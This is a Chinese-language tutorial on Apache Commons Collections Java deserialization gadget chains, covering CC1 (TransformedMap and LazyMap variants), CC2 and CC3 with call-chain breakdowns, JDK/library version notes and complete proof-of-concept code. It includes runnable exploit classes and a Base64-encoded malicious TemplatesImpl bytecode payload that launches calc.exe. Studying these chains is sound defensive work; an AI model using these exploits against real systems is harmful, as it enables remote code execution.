前言

Commons Collections(以下简称 CC)是 Apache 开源的 Java 集合操作库,广泛应用于各类 Java 项目。在 2015 年 FoxGlove Security 的安全研究爆出后,Commons Collections 反序列化漏洞成为 Java 安全史上的一个里程碑——它直接催生了 Ysoserial 项目,也推动了 JEP 290 反序列化过滤机制的落地。

从安全研究的视角看,CC 链的本质思路是:寻找一条从 readObject() 入口到危险 sink(Runtime.execTemplatesImpl 字节码加载、JNDI 注入)的完整调用路径。Ysoserial 的作者 @frohoff 和 @gebl 先后发现了 CC1 到 CC7 共七条利用链,外加依赖 Commons BeanUtils 的 CB 链,本文将逐一覆盖。

CC 版本与 JDK 版本总览:

版本 Commons Collections 关键差异
3.x 主流链 3.1 ~ 3.2.2 InvokerTransformer 等 transform 类存在,LazyMap / TransformedMap 可用
4.x 主流链 4.0 ~ 4.4 4.0 起 LazyMapfactory 改为 Factory 接口,InvokerTransformer 不再反序列化;TransformingComparatorSerializable 改版
JDK 版本 关键影响
JDK 6u45 / 7u21 / 8u0 ~ 8u71 无内置 filter,所有链均可使用
JDK 8u71+ AnnotationInvocationHandler.readObject() 不再使用 setValue(),CC1-TM 变体失效
JDK 8u121+ RMI 反序列化过滤默认开启
JDK 8u191+ RMI useCodebaseOnly=true,限制 JNDI 远程类加载

三种 Sink 类型:

  1. Runtime.exec —— 最经典的命令执行,CC1~CC7 中多数链的默认 sink,缺点是命令参数受 OS shell 限制。
  2. TemplatesImpl 字节码加载 —— 通过 TemplatesImpl.newTransformer() 触发 defineClass() 加载恶意字节码,执行任意 Java 代码,绕过 InvokerTransformer 黑名单(CC3 的核心理念)。
  3. JNDI 注入 —— 结合 InitialContext.lookup() 实现远程类加载(8u191 前)或反序列化绕过,此处仅作提及。

前置说明: 本文假设读者具备 Java 反序列化基础知识(ObjectInputStream.readObject 的入口机制、反射等),若尚不熟悉可先阅读 Java 反序列化基础原理文章。本文所有 POC 均可在 JDK 8u65 ~ 8u71 搭配 Commons Collections 3.2.2(CC1/3/5/6/7)或 4.0(CC2/4)的环境下运行。


Java 反序列化快速入门

Java 反序列化漏洞的核心在于:ObjectInputStream.readObject() 在读取序列化字节流重构对象时,会触发目标对象及其可达对象的 readObject 方法——若调用链上的某个类在反序列化复原时执行了危险操作(如反射调用、文件写入、命令执行),攻击者就能通过精心构造的序列化数据控制关键参数,达成 RCE。Commons Collections 之所以成为反序列化攻击的”军火库”,正是因为它提供了大量可在 readObject 自由触发链中自动调用的工具类(transformers、decorators、comparators),将普通的 Map/Collection 操作层层包装为遥控炸弹。


CC1:AnnotationInvocationHandler 双变体

CC1 是 Ysoserial 中的第一条链,利用 sun.reflect.annotation.AnnotationInvocationHandler 作为反序列化入口,通过 ChainedTransformer 串联反射调用最终执行 Runtime.exec()。根据 Map 包装方式的不同,分为 TransformedMapLazyMap 两个变体。

JDK 要求: 只适用于 JDK 8u71 及之前版本。8u71 中 AnnotationInvocationHandler 重写了 readObject,不再调用 setValue,导致 TransformedMap 变体失效;LazyMap 变体虽然 8u71+ 仍可理论触发,但需结合其他绕过手段。

CC 版本要求: Commons Collections 3.x(InvokerTransformer 未受限制)。

核心基础知识

InvokerTransformer —— 反射包装类

InvokerTransformer 将 Java 反射调用包装为 Transformer.transform(input) 形式:

1
2
3
4
5
6
7
8
9
// 创建一个"方法调用器":使用 String 参数调用 exec 方法
InvokerTransformer invoker = new InvokerTransformer(
"exec", // 方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"calc.exe"} // 参数值
);
Runtime runtime = Runtime.getRuntime();
// 对 runtime 对象应用这个转换器
invoker.transform(Runtime.getRuntime());

构造方法接受三个参数:字符串方法名、Class类的数组(参数类型)、Object类的数组(参数值)。调用 transform(input) 时,实际上是 input.getClass().getMethod(name, paramTypes).invoke(input, args)

ChainedTransformer —— 链式调用

ChainedTransformer 将多个 Transformer 串联,前一个 transform() 的返回值作为下一个的输入:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = {
new ConstantTransformer(Runtime.class), // 第一步:获取 Runtime 类
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 第二步:获取 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 第三步:调用 getRuntime 方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) // 第四步:执行 calc 命令
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Object result = chainedTransformer.transform(null); // null作为起点,依次执行

调用关系:

  1. ConstantTransformer.transform(null) 返回 Runtime.class
  2. InvokerTransformer("getMethod", ...).transform(Runtime.class) 等价于 Runtime.class.getMethod("getRuntime", null)
  3. InvokerTransformer("invoke", ...).transform(返回的Method对象) 等价于 method.invoke(null),拿到 Runtime 实例
  4. InvokerTransformer("exec", ...).transform(Runtime实例) 等价于 runtime.exec("calc")

变体一:TransformedMap

调用链:

1
2
3
4
5
6
7
8
9
10
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
memberValues.entrySet() → TransformedMap.entrySet()
memberValue.setValue() → MapEntry.setValue()
parent.checkSetValue() → TransformedMap.checkSetValue()
valueTransformer.transform() → ChainedTransformer.transform()
ConstantTransformer.transform() → Runtime.class
InvokerTransformer.transform() → getMethod("getRuntime")
InvokerTransformer.transform() → invoke()
InvokerTransformer.transform() → exec("calc")

关键步骤解析:

  1. TransformedMap.checkSetValue()protected 方法,它调用 this.valueTransformer.transform(value)
  2. TransformedMap 的构造方法私有,通过装饰器 TransformedMap.decorate(map, keyTransformer, valueTransformer) 创建实例。
  3. AnnotationInvocationHandler.readObject() 遍历 memberValues.entrySet() 并对每个 entry 调用 setValue()
  4. setValue() 走到 AbstractInputCheckedMapDecorator.MapEntry.setValue(),它调用 parent.checkSetValue(value) —— 这里的 parent 就是 TransformedMap 实例。
  5. 需要 hashMap 中至少存在一个键值对,否则 entrySet() 为空,循环不执行。

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformedMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "Rsecret2");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// transformedMap 内部 valueTransformer 已被赋值为恶意链

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);

serialize(o);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • 必须往 HashMap 中至少 put 一个键值对,否则 entrySet() 返回空集合,循环永远不会执行。
  • AnnotationInvocationHandler 构造方法私有,必须通过反射调用。
  • JDK 8u71 后 readObject 改写不再调用 setValue,此变体失效。

变体二:LazyMap + 动态代理

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

关键步骤解析:

  1. LazyMap 继承 AbstractMapDecorator,其 get() 方法在 key 不存在时调用 factory.transform(key)
  2. LazyMap 构造方法私有,通过 LazyMap.decorate(map, transformer) 创建,factory 可控。
  3. AnnotationInvocationHandler.invoke() 内部调用 memberValues.get(member),其中的 memberValues 在构造时可控。
  4. 利用 Java 动态代理:创建一个包裹了恶意 LazyMap 的 Map 代理对象,当另一个 AnnotationInvocationHandlerreadObject 中调用 memberValues.entrySet() 时,实际上触发了代理的 invoke()
  5. 总共有两个 AnnotationInvocationHandler 实例:
    • 第一个:作为 Map 代理的处理器,包裹了恶意 LazyMap
    • 第二个:其 memberValues 指向该 Map 代理,在 readObject 时触发代理的 invoke()

动态代理简要回顾:

1
2
3
4
5
6
Map proxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler // handler 是 AnnotationInvocationHandler 实例
);
// proxy 是一个代理对象,调用 proxy 的任意方法都会走 handler.invoke()

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

// 创建 Map 动态代理,代理调用任意方法都会走 handler.invoke()
Map proxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);

// 创建第二个 AnnotationInvocationHandler,其 memberValues 为代理对象
InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class, proxy);

serialize(o);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • LazyMap.get() 触发条件:key 在内部的 HashMap 中不存在。因此 readObject 中触发时,默认不存在该 key,自然执行 factory.transform()
  • 此为 ysoserial CC1 实际采用的 LazyMap 变体,是理解 CC5/6/7 的基础。

CC2:PriorityQueue + InvokerTransformer 直连 TemplatesImpl

CC2 是建立在 Commons Collections 4.x 上的链,直接将 InvokerTransformer("newTransformer") 作用于 TemplatesImpl 对象上,通过 PriorityQueueheapify -> siftDown -> compare 路径触发 transform

JDK 要求: 无特殊版本限制(不依赖 AnnotationInvocationHandler)。

CC 版本要求: Commons Collections 4.x。4.0 版 TransformingComparator 实现了 Serializable

设计初衷: 当 CC3 的 TrAXFilter 链被 WAF/黑名单拦截时,回退到直接用 InvokerTransformer.transform(templates) 触发 newTransformer

调用链:

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject()
heapify()
siftDown(i, queue[i])
siftDownUsingComparator(k, x)
TransformingComparator.compare(obj1, obj2)
this.transformer.transform(obj1)
InvokerTransformer.transform(TemplatesImpl)
TemplatesImpl.newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass() // 加载恶意字节码

关键步骤解析:

  1. 构造 InvokerTransformer("newTransformer", ...) 包装 TemplatesImpl.newTransformer
  2. TransformingComparator 包装该 transformer。
  3. 创建 PriorityQueue 并传入 TransformingComparator
  4. 关键在于 PriorityQueue.add() 时的 size 策略:
    • 第一次 add(templates)size == 0,直接 this.queue[0] = templates,不触发 siftUp(因为 i == 0 分支)。
    • 第二次 add(2)size == 1,走 siftUp(1, 2)comparator.compare(2, templates)
  5. 反序列化时 readObject()heapify()siftDown(0, queue[0])siftDown(0, templates)comparator.compare(templates, queue[1]) → 触发 transform(templates)
  6. 为了在构造阶段避免提前触发攻击,先用假的 ConstantTransformer(1) 初始化 TransformingComparatoradd 结束后再反射替换为真正的 InvokerTransformer

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
// 先用假 transformer 初始化,避免 add 时触发
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

// 反射替换为真正的 InvokerTransformer
setFieldValue(transformingComparator, "transformer", invokerTransformer);

serialize(priorityQueue);
deserialize();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2.txt"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2.txt"));
ois.readObject();
ois.close();
}
}

注意事项:

  • 必须使用 Commons Collections 4.x 版本,CC 3.x 无此链。
  • 第一次 add(templates)size == 0,元素直接放入 queue[0] 不触发比较——这是绕过构造阶段触发的关键。
  • TemplatesImpl 所需恶意字节码在 CC3 章节 中详细说明,此处直接复用。
  • 与 CC4 的区别:CC2 直接使用 InvokerTransformer("newTransformer") 而 CC4 使用 ChainedTransformer + InstantiateTransformer(TrAXFilter)

另一种 size 赋值方式(CC4 补充)

CC4 中 PriorityQueue 的 size 为 0 导致 heapify 不进入循环的问题,也可以通过调用 add 方法解决,此方法同样适用于 CC2:

1
2
3
4
5
6
7
8
9
10
11
// CC4 前半段
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformingComparator, "transformer", chaind);

// 序列化
serialize(priorityQueue);
deserialize();

add 方法调用 offer,内部对 size 做了 this.size = i + 1,调用两次后 size == 2,足够触发 heapify 循环。且 add(1)add(2) 时 comparator 是假的 ConstantTransformer(1),不会触发攻击,后续反射替换为真链即可。


CC3:TemplatesImpl + TrAXFilter + InstantiateTransformer

CC3 是 Ysoserial 中第一个引入 字节码加载 sink 的链。在 CC1/CC2 使用 Runtime.exec() 被安全产品盯上后,CC3 改用 TemplatesImpl.newTransformer() 加载任意字节码执行 Java 代码,绕过了对 InvokerTransformer("exec", ...) 的特征检测。

JDK 要求: JDK 8u71 及之前(因前半段仍使用 AnnotationInvocationHandler)。

CC 版本要求: Commons Collections 3.x。

字节码加载基础:TemplatesImpl

TemplatesImpl 类中定义了一个内部类 TransletClassLoader,继承自 ClassLoader,并重写了 defineClass 方法:

1
2
3
Class defineClass(byte[] b) {
return defineClass(null, b, 0, b.length);
}

完整的调用路径:

1
2
3
4
5
6
TemplatesImpl.newTransformer()
getTransletInstance()
if (_class == null)
defineTransletClasses()
loader.defineClass(_bytecodes[i]) // 加载字节码
_class[_transletIndex].newInstance() // 实例化 → 触发构造函数中的 payload

前置条件:

  1. _name 不为 null(getTransletInstance() 首行检查)
  2. _class 为 null(否则跳过 defineTransletClasses()
  3. _bytecodes 为恶意字节码的 byte[][] 数组
  4. _tfactory 不为 null(必须是 TransformerFactoryImpl 对象)
  5. 字节码对应的类必须是 AbstractTranslet 的子类(getTransletInstance 中有强制类型转换)

以上字段均为 private,需要用反射设置。

恶意字节码模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
public evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

编译为字节码后 Base64 编码即可作为 POC 的 payload。

字节码加载的最小触发示例:

1
2
3
4
5
6
7
8
byte[] bytes = Base64.getDecoder().decode("恶意的字节码");

TemplatesImpl Impl = new TemplatesImpl();
setFieldValue(Impl, "_name", "evil");
setFieldValue(Impl, "_class", null);
setFieldValue(Impl, "_bytecodes", new byte[][]{bytes});
setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());
Impl.newTransformer(); // 触发字节码加载,执行 calc

TrAXFilter + InstantiateTransformer

为了解决”如何通过 Transformer 链调用 TemplatesImpl 的构造方法”的问题,CC3 引入两个关键组件:

  1. TrAXFilter —— 其构造方法接受 Templates 参数并调用 templates.newTransformer()
1
2
3
4
5
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
this._templates = templates;
this._transformer = (TransformerImpl) templates.newTransformer();
// ...
}
  1. InstantiateTransformer —— 通过反射调用构造方法并实例化对象,是 InvokerTransformer 的构造方法调用替代品:
1
2
3
4
5
Transformer instantiate = new InstantiateTransformer(
new Class[]{String.class, String.class}, // 构造方法参数类型
new Object[]{"Charlie", "abc"} // 构造方法参数值
);
Person p1 = (Person) instantiate.transform(Person.class); // 等价于 new Person("Charlie", "abc")

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
AnnotationInvocationHandler.readObject()
LazyMap.get() / TransformedMap entrySet 迭代
ChainedTransformer.transform(null)
ConstantTransformer.transform(null) → TrAXFilter.class
InstantiateTransformer.transform(TrAXFilter.class)
TrAXFilter.class.getConstructor(Templates.class).newInstance(Impl)
TrAXFilter 构造方法
Impl.newTransformer() // TemplatesImpl 实例
getTransletInstance()
defineTransletClasses()
defineClass(bytecodes) // 加载恶意字节码
newInstance() // 触发构造函数 → exec("calc")

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setFieldValue(Impl, "_name", "evil");
setFieldValue(Impl, "_class", null);
setFieldValue(Impl, "_bytecodes", new byte[][]{bytes});
setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());

ConstantTransformer trAX = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer in = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{Impl});
Transformer[] transformers = new Transformer[]{trAX, in};
ChainedTransformer chaind = new ChainedTransformer(transformers);

// 接入 CC1 LazyMap 后半段
HashMap hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chaind);

Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

Map proxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class, proxy);

serialize(o);
deserialize();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • 字节码必须继承 AbstractTranslet,否则在 getTransletInstance() 中的强制转换 (AbstractTranslet) this._class[this._transletIndex].newInstance() 会抛出 ClassCastException
